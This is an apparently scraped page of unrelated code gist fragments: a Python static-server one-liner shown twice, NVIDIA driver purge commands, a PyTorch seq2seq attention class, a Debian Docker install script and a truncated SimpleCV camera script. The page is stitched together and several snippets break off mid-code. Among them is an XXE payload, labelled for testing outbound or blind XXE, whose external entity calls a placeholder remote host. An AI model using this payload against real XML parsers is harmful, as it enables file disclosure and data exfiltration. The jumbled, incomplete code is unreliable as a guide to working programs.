Each of these commands will run an ad hoc http static server in your current (or specified) directory, available at http://localhost:8000. Use this power wisely.
$ python -m SimpleHTTPServer 8000| # Remove anything linked to nvidia | |
| sudo apt-get remove --purge nvidia* | |
| sudo apt-get autoremove | |
| # Search for your driver | |
| apt search nvidia | |
| # Select one driver (the last one is a decent choice) | |
| sudo apt install nvidia-370 |
| class Seq2SeqAttnRNN(nn.Module): | |
| def __init__(self, vecs_enc, itos_enc, em_sz_enc, vecs_dec, itos_dec, em_sz_dec, nh, out_sl, nl=2): | |
| super().__init__() | |
| self.emb_enc = create_emb(vecs_enc, itos_enc, em_sz_enc) | |
| self.nl,self.nh,self.out_sl = nl,nh,out_sl | |
| self.gru_enc = nn.GRU(em_sz_enc, nh, num_layers=nl, dropout=0.25) | |
| self.out_enc = nn.Linear(nh, em_sz_dec, bias=False) | |
| self.emb_dec = create_emb(vecs_dec, itos_dec, em_sz_dec) | |
| self.gru_dec = nn.GRU(em_sz_dec, em_sz_dec, num_layers=nl, dropout=0.1) | |
| self.emb_enc_drop = nn.Dropout(0.15) |
| -------------------------------------------------------------- | |
| Vanilla, used to verify outbound xxe or blind xxe | |
| -------------------------------------------------------------- | |
| <?xml version="1.0" ?> | |
| <!DOCTYPE r [ | |
| <!ELEMENT r ANY > | |
| <!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt"> | |
| ]> | |
| <r>&sp;</r> |
| #!/bin/bash | |
| # compiled from https://docs.docker.com/engine/installation/linux/debian/#/debian-jessie-80-64-bit | |
| sudo apt-get update | |
| sudo apt-get dist-upgrade -y | |
| sudo apt-get install apt-transport-https ca-certificates -y | |
| sudo sh -c "echo deb https://apt.dockerproject.org/repo debian-jessie main > /etc/apt/sources.list.d/docker.list" | |
| sudo apt-key adv --keyserver hkp://p80.pool.sks-keyservers.net:80 --recv-keys 58118E89F3A912897C070ADBF76221572C52609D |
Each of these commands will run an ad hoc http static server in your current (or specified) directory, available at http://localhost:8000. Use this power wisely.
$ python -m SimpleHTTPServer 8000| #!/usr/bin/python | |
| import time | |
| from SimpleCV import Color, Image, np, Camera | |
| cam = Camera() #initialize the camera | |
| quality = 400 | |
| minMatch = 0.3 | |
| try: | |
| password = Image("password.jpg") |